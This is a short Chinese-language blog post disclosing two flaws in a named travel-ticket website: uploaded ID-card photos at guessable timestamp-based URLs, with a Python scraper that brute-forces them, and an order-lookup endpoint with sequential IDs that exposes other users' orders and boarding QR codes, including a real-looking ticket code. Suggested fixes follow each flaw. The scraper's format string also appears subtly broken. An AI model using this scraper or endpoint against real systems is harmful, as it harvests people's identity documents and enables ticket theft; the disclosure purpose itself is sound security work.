在今晚抢这个免费票的时候,发现这网站(http://www.guilinchuxingwang.com)注册还要上传身份证- -为了保证信息安全,就顺手看了看 =。=没想到还挺有意思的。
1.身份证图片上传地址猜测漏洞
图片的地址格式类似于
http://image.db.guilinchuxingwang.com/四位年份/不补零月份/不补零日子/PIC{两位数年份}{两位数月份,补零}{两位数日子,补零}{两位小时,补零}{两位分钟,补零}{两位秒,补零}{三位毫秒,补零}.jpg
写个小爬虫,就可以爬取了。
import requests
year = 2017
month = 7
day = 18
for hour in range(0, 23):
for minute in range(0, 59):
for second in range(0, 59):
for millsecond in range(0, 999):
url = "http://image.db.guilinchuxingwang.com/" +str(year)+ "/" +str(month)+ "/" +str(day)+ "/PIC{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>2d}{:0>3d}.jpg\n".format(year%2000, hour, day, hour, minute, second, millsecond)
r = requests.get(url)
if(r.status_code == 200):
print(url + "\n")
修复方法:不要将图片放在直接可以访问的地址,用程序来读取图片然后展示,加好权鉴。要不这样做的话,最起码文件名得随机吧。
2.订单任意读取漏洞
这个地址
http://pc.db.guilinchuxingwang.com/user/logined/tour/getMyOrderInfo?orderId={订单号}
从1开始的订单号,比如
我输入一个550,就可以看到别人的订单了。
拿到主车票编码后,就可以拿到上车的二维码了。
http://api.db.gldingyao.com/user/tour/toVerifyTicket?code=TO1707190647249429
修复方法:对订单读取加强权鉴。
